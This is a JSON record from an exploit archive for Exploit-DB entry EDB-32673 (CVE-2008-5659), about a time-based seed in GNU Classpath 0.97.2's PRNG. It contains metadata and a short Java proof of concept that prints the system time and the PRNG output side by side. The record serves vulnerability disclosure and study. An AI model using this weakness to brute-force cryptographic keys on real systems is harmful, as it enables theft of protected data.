{"exploit":{"id":"EDB-32673","name":"GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy (1)","description":"GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy (1)","cves":["CVE-2008-5659"],"author":"Jack Lloyd","published":"2008-12-05","platform":"multiple","type":"remote","language":"Java","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/32673","path":"exploits/multiple/remote/32673.java","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-32673.java","vulnerabilities":[{"id":"CVE-2008-5659","state":"PUBLISHED","title":null,"titleSource":null,"description":"The gnu.java.security.util.PRNG class in GNU Classpath 0.97.2 and earlier uses a predictable seed based on the system time, which makes it easier for context-dependent attackers to conduct brute force attacks against cryptographic routines that use this class for randomness, as demonstrated against DSA private keys.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-5659","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-5659"},"updatedAt":"2024-08-07T11:04:43.494Z","retrievedAt":"2026-11-27T04:08:38.846Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-32673.png?v=2","url":"https://exploitbin.com/exploits/EDB-32673","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-32673/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-32673/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2008/https://www.securityfocus.com/bid/32909/info\n\n// GNU Classpath is prone to a weakness that may result in weaker cryptographic security because its psuedo-random number generator (PRNG) lacks entropy.\n\n// Attackers may leverage this issue to obtain sensitive information that can lead to further attacks.\n\n// Classpath 0.97.2 is vulnerable; other versions may also be affected.\n\n\nimport gnu.java.security.util.PRNG;\n\nclass PRNGTest {\n   public static void main(String args[])\n      {\n      long t = System.currentTimeMillis();\n\n      System.out.println(\"Time in ms is \" + t);\n\n      PRNG prng = PRNG.getInstance();\n\n      byte buffer[] = new byte[40];\n\n      prng.nextBytes(buffer, 0, buffer.length);\n\n      for(int i = 0; i != buffer.length; ++i)\n         {\n         // There must be an easier way to do this (right?)\n         int intval = buffer[i];\n\n         if(intval <= 0)\n            intval += 256;\n\n         String s = Integer.toHexString(intval);\n\n         if(s.length() == 1)\n            s = \"0\" + s;\n\n         System.out.print(s);\n         }\n      System.out.println(\"\");\n      }\n   };","sha256":"f8b90ce89bc710eca0b201365f868114efc391f97ab2860e4796666810fe16e8","bytes":1138,"fetchedAt":"2026-11-27T04:08:35.525Z","encoding":"utf-8 (display only; download retains original bytes)"}